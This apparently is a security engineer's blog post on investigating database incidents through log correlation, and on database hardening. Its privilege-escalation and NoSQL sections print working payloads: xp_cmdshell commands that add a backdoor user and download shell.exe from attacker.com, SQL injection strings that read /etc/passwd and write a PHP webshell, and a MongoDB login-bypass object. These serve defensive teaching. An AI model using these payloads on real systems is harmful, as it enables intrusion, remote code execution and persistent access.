How I Analyze Database Attacks

August 10, 2026 Melalew Mengistu 18 min read

I got curious about database attacks the same way I get curious about most things: I typed "How do people attack databases?" into Google and hoped for a clean answer. What I got was a mess. Some results talked about SQL injection, others about stolen passwords, and others about misconfigured database servers left exposed to the internet. They were all technically correct, but they were describing completely different problems. I couldn't tell whether I was looking for one vulnerability or ten.

So I asked an AI to break it down: "What are the main types of database attacks?" That helped me understand that a database attack isn't a single thing with a single signature. Someone could reach a database through a vulnerable application, use stolen credentials, abuse excessive permissions, or exploit a misconfigured server directly. Each path leaves different evidence, and I was going to have to learn how to read all of them. That realization changed how I think about security. I stopped asking "What attack happened?" and started asking "What evidence do I have, and what story does that evidence tell?"

Database attack surface including connection strings and permissions
Database attacks often start with misconfigured permissions and exposed query interfaces.
What This Guide Actually Covers

This isn't a list of hacking techniques. I'm walking through exactly how I investigate a database incident — why database logs alone rarely tell the full story, how to reconstruct a timeline across multiple log sources, how to tell the difference between stolen credentials and SQL injection from the evidence, and the exact questions I ask to determine not just what could have happened, but what I can actually prove happened.

Why One Log Source Is Never Enough

My first mistake was assuming database logs would hand me the answer. I searched "How do you detect SQL injection in database logs?" and learned something that should have been obvious: the database sees the final query, but it doesn't see how that query got there. A malformed SELECT could be SQL injection, or it could be a bug in your own ORM. A large data export could be exfiltration, or it could be a scheduled report running on time.

Database logs are the destination. To understand the journey, you need to look at the application logs (what input the app received), the authentication logs (who connected and from where), and the network logs (what IP addresses were involved). When you lay these sources side by side, patterns emerge that no single log could reveal on its own.

What I Look For in Database Logs

Once I accepted that context matters, I started asking a more specific question: "What exactly should I look for?" I searched again, compared sources, and built a checklist of anomalies that warrant a closer look:

  • Unusual login attempts, especially from unfamiliar IP addresses or at odd hours
  • Accounts accessing tables they don't normally touch
  • Unexpected privilege changes, like a regular user being granted administrative rights
  • Queries that are unusually large, complex, or syntactically strange
  • Schema changes — new tables, dropped columns, altered permissions
  • Massive read operations or exports that don't match normal application behavior

But here's the catch: every single one of those could be legitimate. An administrator doing maintenance might run a large query. A developer might need temporary access to a table outside their usual scope. A reporting tool might export thousands of rows every Monday morning. I can't call something an attack just because it looks weird. I need correlation.

Correlation Across Log Sources

This is where the investigation gets real. I compare the database activity against everything else I can find. If an unfamiliar account logs in from an unusual location, then suddenly performs a large number of database queries, and the application logs show suspicious input immediately beforehand, those three events together are far more meaningful than any one of them alone.

The timeline is everything. I reconstruct events chronologically: What happened first? How did access happen? Which account was used? What did that account access? Was anything changed? Was data taken? What happened afterward? An attacker who exfiltrates data might not change a single record. If I'm only looking for modifications, I miss the breach entirely. I have to ask "What was accessed?" just as aggressively as "What was changed?"

Data exfiltration often looks like normal reads. If an attacker uses a legitimate account with excessive permissions, the database logs might show nothing but ordinary SELECT statements. That's why I always check whether the volume, timing, and table access patterns match the account's historical behavior.

Stolen Credentials vs. SQL Injection

One of the most important distinctions I learned to make is between stolen credentials and SQL injection. They can look similar at a glance — both result in unauthorized database access — but the evidence trails are completely different.

With stolen credentials, the attacker is using a legitimate account. The login itself might succeed on the first try. The database logs show authenticated connections from a known username, but possibly from an unusual IP or at an unusual time. The queries themselves might look normal because the attacker is using the account exactly as intended — they just shouldn't have the password.

With SQL injection, the attacker never needed a password. They're abusing a vulnerability in the application to manipulate queries. The application logs will show suspicious input — quotes, semicolons, UNION keywords, or encoded payloads — and the database logs will show queries that don't match any normal application pattern. The queries might reference tables the application never touches, or they might contain logic that no legitimate user would generate.

Telling them apart matters because the fix is different. Stolen credentials mean you need to rotate passwords, review account permissions, and check for phishing or credential stuffing. SQL injection means you need to audit your application's query construction, patch the vulnerable endpoint, and review every query that endpoint has ever executed.

My Investigation Process

After going through this cycle of searching, learning, questioning, and searching again, I distilled my approach into a repeatable process. It doesn't require expensive tools — just curiosity and patience.

Step 1: Preserve the Evidence

Before I touch anything, I make copies of the relevant logs. Database logs, application logs, authentication logs, and network logs. I timestamp everything and store copies in a separate location. If I analyze the live logs directly, I risk overwriting or missing evidence.

Step 2: Establish the Timeline

I line up events across all log sources using timestamps. This is where I find the first suspicious event — an unusual login, a strange query, a spike in traffic — and I work outward from there. The goal is to reconstruct exactly what happened, in order, without assuming the first anomaly I see is the beginning of the attack.

Step 3: Identify the Entry Point

I ask: How did they get in? Was it a brute-forced account? A leaked credential? An SQL injection payload? An exposed database port on the internet? The entry point determines what I need to fix first.

Step 4: Map the Movement

Once inside, what did they do? Which accounts were used? Which tables were accessed? Were permissions escalated? Did they create backdoor accounts or modify existing ones? I map every action to understand the scope.

Step 5: Determine the Impact

This is where I ask the hardest question: What can I prove actually happened? Not what could have happened. Not what a YouTube video says an attack looks like. What do the logs actually show? Was data modified? Was data exfiltrated? Was the schema altered? If I can't prove it, I don't claim it in my report.

Step 6: Contain and Prevent

I rotate compromised credentials, revoke excessive permissions, patch the vulnerable application code, and block malicious IPs. Then I review whether my logging was good enough to catch this — because the next attack might be quieter, and I need to be ready.

A video can explain what an attack could look like. An analyst has to determine what actually happened. YouTube taught me the theory. The logs taught me that real incidents are messier, noisier, and require way more patience than any tutorial suggests.

Production Checklist

Database attack analysis isn't a skill you pick up from one article. But these are the four rules I hold myself to every time I investigate:

  • Never rely on a single log source; correlate database, application, authentication, and network logs before drawing conclusions
  • Differentiate stolen credentials from SQL injection by examining the entry point, query patterns, and application input logs
  • Ask "What was accessed?" with the same urgency as "What was changed?" — exfiltration often leaves no modifications behind
  • Only report what you can prove from the evidence; avoid filling gaps with assumptions about what "probably" happened

None of this makes me an unhackable analyst, and I don't treat it that way. Database forensics was just another skill I had to build by being curious enough to keep asking "Why?", "How do I know?", and "What evidence proves that?" Security is a process I keep working through, not a milestone I hit once and move past.

Privilege Escalation Through the Database

Getting SQL injection on a low-privilege database user is bad. Getting it on an over-privileged one can mean full server compromise. Several database features are designed for administrative tasks but become attacker tools when the application account has access to them.

xp_cmdshell in SQL Server

SQL Server's xp_cmdshell extended stored procedure executes operating system commands with the permissions of the SQL Server service account. If that account runs as a local administrator or SYSTEM — which was the default in older SQL Server installations — any user with EXEC permission on xp_cmdshell effectively has OS-level command execution.

SQL: xp_cmdshell Exploitation (MSSQL)
-- Enable if disabled (requires sysadmin)
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

-- Execute OS command — attacker gets command output in result set
EXEC xp_cmdshell 'whoami';
EXEC xp_cmdshell 'net user hacker Password1 /add';
EXEC xp_cmdshell 'certutil -urlcache -f http://attacker.com/shell.exe C:\shell.exe';

MySQL File Read and Write

MySQL's LOAD_FILE() reads server-side files into a query result if the process has OS read permission. INTO OUTFILE writes query output directly to the filesystem. In a web context, an attacker who can write to the web root has written a PHP webshell — and now has full code execution through the browser.

SQL: MySQL File Operations (Injection Context)
-- Read sensitive server files
' UNION SELECT LOAD_FILE('/etc/passwd'), NULL, NULL --

-- Write a PHP webshell to the web root
' UNION SELECT '<?php system($_GET["cmd"]); ?>', NULL, NULL
  INTO OUTFILE '/var/www/html/shell.php' --

The application database account should never have FILE privileges. Run with the minimum required permissions: SELECT, INSERT, UPDATE, DELETE on specific tables only. No SUPER, no FILE, no EXECUTE on administrative stored procedures.

NoSQL Injection

When I first moved from MySQL to MongoDB, I had a brief moment of relief: "No SQL, no SQL injection." That assumption was wrong. NoSQL databases aren't immune to injection — they just use a different syntax. The vulnerability class is still alive; the payloads just look different.

MongoDB Operator Injection

MongoDB queries use JSON-like objects with operators like $eq, $gt, and $where. If user input is directly inserted into a query object without sanitization, an attacker can inject MongoDB operators to change the query logic. The classic example is login bypass using $ne (not equal):

JavaScript: MongoDB Operator Injection
// VULNERABLE: user input inserted directly into query
const user = await db.collection('users').findOne({
  username: req.body.username,
  password: req.body.password
});

// Attacker sends: { "username": {"$ne": null}, "password": {"$ne": null} }
// Query becomes: find where username != null AND password != null
// Returns the first user — often an admin

// SAFE: validate types and sanitize operators
import { sanitize } from 'express-mongo-sanitize';
app.use(sanitize());

// Or validate that inputs are strings before using them
if (typeof req.body.username !== 'string') return res.status(400).json({error:'Invalid input'});

The $where operator is even more dangerous — it executes JavaScript server-side inside the database engine. If user input reaches a $where clause, you have code injection directly in the database process. I disable $where entirely in MongoDB deployments by setting javascriptEnabled: false in the MongoDB configuration.

Database Backup Security

I've lost count of how many breach post-mortems I've read that include the phrase "the attacker accessed an unprotected S3 bucket containing database backups." Database backups are a copy of everything — every user record, every password hash, every piece of PII in your database — and they're often treated as less important than the live database itself. That's backwards.

The pattern I see repeatedly: a developer sets up automated nightly backups using a cron job that dumps the database and syncs it to an S3 bucket. They configure the bucket in a hurry, forget to make it private, and it sits publicly accessible for months or years. Search engines don't index S3 buckets, but attackers do — automated scanners probe for misconfigured buckets constantly. Shodan, GrayhatWarfare, and purpose-built tools scan AWS for open buckets daily.

Key insight: The Twitch breach in 2021 included source code and internal tools leaked from what appeared to be backup storage. The 2019 Capital One breach involved over 100 million records exfiltrated from misconfigured cloud storage. Encryption at rest is mandatory, not optional.

My Backup Security Rules

Every backup I manage follows the same rules: encrypted at rest using AES-256 before it leaves the server, stored in a private bucket with no public access, accessible only via IAM roles with least privilege, rotated on a defined schedule, and tested for restorability regularly. An untested backup is not a backup — it's a hope. I also encrypt at the application level before cloud upload, so even a misconfigured bucket exposes ciphertext, not raw data.

Database Activity Monitoring

Prevention is the goal; detection is the safety net. If something gets past my defenses, I want to know about it as fast as possible. Database Activity Monitoring means capturing what queries are running, who is running them, from where, and when — and alerting on patterns that shouldn't be happening.

Query Logging in MySQL and PostgreSQL

Both MySQL and PostgreSQL can log all queries to a file. In MySQL, the general_log logs every query. In PostgreSQL, log_statement = 'all' does the same. But logging everything is expensive in production — disk I/O, storage costs. A smarter approach is to log only slow queries (which could indicate blind injection with time delays), failed authentication attempts, and privilege escalation events.

PostgreSQL: Targeted Audit Logging
# postgresql.conf — log failed auth and DDL changes
log_connections = on
log_disconnections = on
log_failed_authentication = on
log_statement = 'ddl'   # Log CREATE, DROP, ALTER, GRANT
log_min_duration_statement = 5000  # Log queries taking > 5 seconds

# For full audit, use pgaudit extension:
# shared_preload_libraries = 'pgaudit'
# pgaudit.log = 'write,ddl,role,connection'

Hardening a Database Server

The database server itself is an attack surface, not just the queries running against it. A database with perfect query security that's reachable from the public internet is still a liability.

Network Isolation

Database servers should never be directly reachable from the internet. They belong in a private subnet — accessible only from application servers that need them. In AWS, that means a VPC private subnet with a security group that allows port 3306/5432 only from the application server's security group. No public IP, no 0.0.0.0/0 ingress rules. I verify this with a port scan from outside the VPC after every deployment.

Disabling Dangerous Features

MySQL: disable LOCAL INFILE (allows clients to read local files), remove the anonymous user account, delete the test database, and disable the FILE privilege on all application accounts. SQL Server: disable xp_cmdshell, Ole Automation Procedures, and CLR Integration if not needed. PostgreSQL: disable pg_read_file for non-superusers and avoid granting superuser privileges to application roles.

Run mysql_secure_installation on every new MySQL deployment. It walks through the most common hardening steps: removing anonymous users, disabling remote root login, removing the test database. It takes two minutes and closes several attack vectors at once.

Melalew Mengistu

Melalew Mengistu

Web engineer and web security specialist. Helps teams build and ship secure applications.